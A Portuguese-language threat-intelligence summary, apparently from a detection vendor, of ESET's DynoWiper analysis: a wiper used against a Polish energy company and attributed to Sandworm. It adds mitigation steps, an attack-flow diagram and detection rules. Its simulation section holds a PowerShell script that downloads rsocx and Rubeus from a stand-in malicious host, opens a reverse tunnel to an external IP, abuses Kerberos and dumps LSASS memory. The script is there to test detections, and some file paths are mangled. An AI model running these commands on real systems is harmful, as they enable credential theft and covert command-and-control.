Atualização DynoWiper da ESET Research: Análise técnica e atribuição
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
DynoWiper é um destrutivo wiper usado contra uma organização do setor de energia na Polônia, impactando múltiplos endpoints durante as operações. Os executáveis foram armazenados em um local compartilhado na rede e lançados diretamente desse compartilhamento. A ESET atribui a atividade ao Sandworm com confiança média. Uma vez executado, o malware corrompe arquivos alvos com bytes aleatórios e aciona uma reinicialização forçada para completar o impacto.
Investigação
A ESET recuperou três amostras—schtask.exe, schtask2.exe, e _update.exe—soltas em C:inetpubpub. Caminhos PDB embutidos sugerem que os binários foram compilados em um ambiente Vagrant. A engenharia reversa mostrou uma rotina de eliminação em três etapas, com duas variantes inserindo uma pausa de cinco segundos entre as fases. Artefatos pós-compromisso também incluíram a ferramenta Kerberos Rubeus e um proxy SOCKS5 rsocx dentro da rede da vítima.
Mitigação
O ESET PROTECT nos sistemas da vítima bloqueou todas as três variantes, limitando os danos. Reduza a exposição prevenindo a criação de tarefas agendadas não autorizadas e monitorando escritas inesperadas em diretórios compartilhados. Adicione uma lista de permissões de aplicativos e desative a execução a partir de compartilhamentos de rede sempre que possível.
Resposta
Identifique e isole hosts que executam schtask.exe, schtask2.exe ou *_update.exe de um compartilhamento. Preserve evidências voláteis, revise tarefas agendadas e rastros de implantação do PowerShell, e remova ferramentas como Rubeus e rsocx. Realize uma análise forense completa e restaure dados de backups limpos verificados.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef action fill:#99ccff classDef malware fill:#ffd699 %% Nodes action_ingress[“<b>Ação</b> – <b>T1105 Transferência de Ferramentas de Entrada</b><br/><b>Descrição</b>: Ferramentas adicionais como Rubeus.exe e rsocx foram baixadas para o ambiente comprometido.”] class action_ingress technique tool_rubeus[“<b>Ferramenta</b> – <b>Nome</b>: Rubeus.exe<br/><b>Descrição</b>: Executa roubo e abuso de credenciais Kerberos.”] class tool_rubeus tool tool_rsocx[“<b>Ferramenta</b> – <b>Nome</b>: rsocx<br/><b>Descrição</b>: Proxy SOCKS5 usado para retransmitir tráfego de Comando e Controle.”] class tool_rsocx tool action_cred_dump[“<b>Ação</b> – <b>T1003.001 Memória LSASS</b><br/><b>Descrição</b>: A memória do processo LSASS foi despejada via Gerenciador de Tarefas para obtenção de credenciais.”] class action_cred_dump technique action_powershell[“<b>Ação</b> – <b>T1059.001 PowerShell</b><br/><b>Descrição</b>: Scripts PowerShell foram executados para implantar binários maliciosos e facilitar ações subsequentes.”] class action_powershell technique action_cmd[“<b>Ação</b> – <b>T1059.003 Shell de Comandos do Windows</b><br/><b>Descrição</b>: cmd.exe foi utilizado para executar comandos de shell e orquestrar o wiper.”] class action_cmd technique action_gpo_discovery[“<b>Ação</b> – <b>T1615 Descoberta de Política de Grupo</b><br/><b>Descrição</b>: Objetos de Política de Grupo foram identificados para preparar implantação em larga escala.”] class action_gpo_discovery technique action_gpo_modify[“<b>Ação</b> – <b>T1484 Modificação de Política de Domínio ou Locatário</b><br/><b>Descrição</b>: GPOs foram modificadas para distribuir o binário DynoWiper em todo o domínio.”] class action_gpo_modify technique action_schtask[“<b>Ação</b> – <b>T1053 Trabalho de Tarefa Agendada</b><br/><b>Descrição</b>: Tarefas agendadas foram criadas com schtask.exe para persistir a execução do wiper.”] class action_schtask technique action_data_removable[“<b>Ação</b> – <b>T1025 Dados de Mídia Removível</b><br/><b>Descrição</b>: Ferramentas e o wiper foram colocados no diretório de rede compartilhado C:\\inetpub\\pub\\.”] class action_data_removable technique action_file_discovery[“<b>Ação</b> – <b>T1083 Descoberta de Arquivos e Diretórios</b><br/><b>Descrição</b>: Arquivos e diretórios foram enumerados em unidades fixas e removíveis excluindo pastas do sistema.”] class action_file_discovery technique action_wipe[“<b>Ação</b> – <b>T1561.001 Limpeza de Conteúdo de Disco</b><br/><b>Descrição</b>: O conteúdo dos arquivos foi sobrescrito com dados aleatórios, eliminando ou corrompendo dados.”] class action_wipe technique action_reboot[“<b>Ação</b> – <b>T1529 Desligamento ou Reinicialização do Sistema</b><br/><b>Descrição</b>: O sistema foi reiniciado à força após a limpeza para finalizar a destruição.”] class action_reboot technique action_proxy[“<b>Ação</b> – <b>T1090.002 Proxy Externo</b><br/><b>Descrição</b>: rsocx foi configurado para usar o proxy SOCKS5 externo 31.172.71.5:8008 para ocultar o tráfego de Comando e Controle.”] class action_proxy technique malware_dyno[“<b>Malware</b> – <b>Nome</b>: DynoWiper<br/><b>Descrição</b>: Carga útil destrutiva que sobrescreve dados e força a reinicialização do sistema.”] class malware_dyno malware %% Connections action_ingress –>|faz download| tool_rubeus action_ingress –>|faz download| tool_rsocx tool_rubeus –>|habilita| action_cred_dump tool_rsocx –>|fornece| action_proxy action_cred_dump –>|fornece credenciais para| action_powershell action_powershell –>|executa| action_cmd action_cmd –>|orquestra| action_wipe action_gpo_discovery –>|leva a| action_gpo_modify action_gpo_modify –>|distribui| malware_dyno action_schtask –>|cria tarefa para| malware_dyno action_data_removable –>|armazena| tool_rubeus action_data_removable –>|armazena| tool_rsocx action_data_removable –>|armazena| malware_dyno malware_dyno –>|executa| action_file_discovery malware_dyno –>|executa| action_wipe action_wipe –>|aciona| action_reboot action_proxy –>|retransmite tráfego para| malware_dyno
Fluxo de Ataque
Detecções
Operação Potencial de Auto-remoção de Malware ou Ocultação de Stderr (via cmdline)
Ver
Desligamento Usado Para Forçar uma Interrupção ou Reinicialização do Sistema (via cmdline)
Ver
IOCs (HashSha1) para detectar: Atualização da ESET Research DynoWiper: Análise técnica e atribuição
Ver
IOCs (SourceIP) para detectar: Atualização da ESET Research DynoWiper: Análise técnica e atribuição
Ver
IOCs (DestinationIP) para detectar: Atualização da ESET Research DynoWiper: Análise técnica e atribuição
Ver
Detecção de Implantação do DynoWiper via Execução de Tarefa Agendada [Evento de Arquivo do Windows]
Ver
Detecção de Ferramentas Maliciosas e Despejo de Memória LSASS [Criação de Processo do Windows]
Ver
Execução da Simulação
Pré-requisito: O Controle Pré-voo de Telemetria & Base deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.
-
Narrativa do Ataque & Comandos:
- Estabelecer um proxy SOCKS5 reverso usando
rsocx.exe. O adversário baixa o binário de um servidor externo, o coloca em%TEMP%, e o executa com o argumento-r 31.172.71.5:8008para criar um túnel reverso de volta para o host C2. - Realizar abuso de ticket Kerberos com
rubeus.exe. A ferramenta é executada para solicitar um ticket de concessão de ticket Kerberos (TGT) para a conta de administrador do domínio e, posteriormente, forjar um ticket de serviço (s4u2self). - Despejar memória LSASS usando
procdump.exe(uma alternativa comum ao Gerenciador de Tarefas) para capturar material de credencial. Sysmon registra um evento de Acesso a Processo onde o processo do atacante acessaprocdump.exeprocesso acessalsass.execom a máscara de acesso concedida0x1010(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)).
- Estabelecer um proxy SOCKS5 reverso usando
-
Script de Teste de Regressão:
# ------------------------------------------------------------- # Script de simulação – aciona a regra Sigma para rsocx, rubeus, # e despejo de LSASS. Execute com privilégios administrativos. # ------------------------------------------------------------- # 1. Deploy rsocx.exe (proxy SOCKS5 reverso) $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. Deploy rubeus.exe (abuso de Kerberos) $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. Dump LSASS usando procdump (requer Sysinternals) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "Simulação concluída. Verifique o SIEM para alertas." -
Comandos de Limpeza:
# Termine quaisquer processos maliciosos remanescentes Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # Remova binários e arquivos dump Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # Opcionalmente, exclua diretórios de download temporários Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."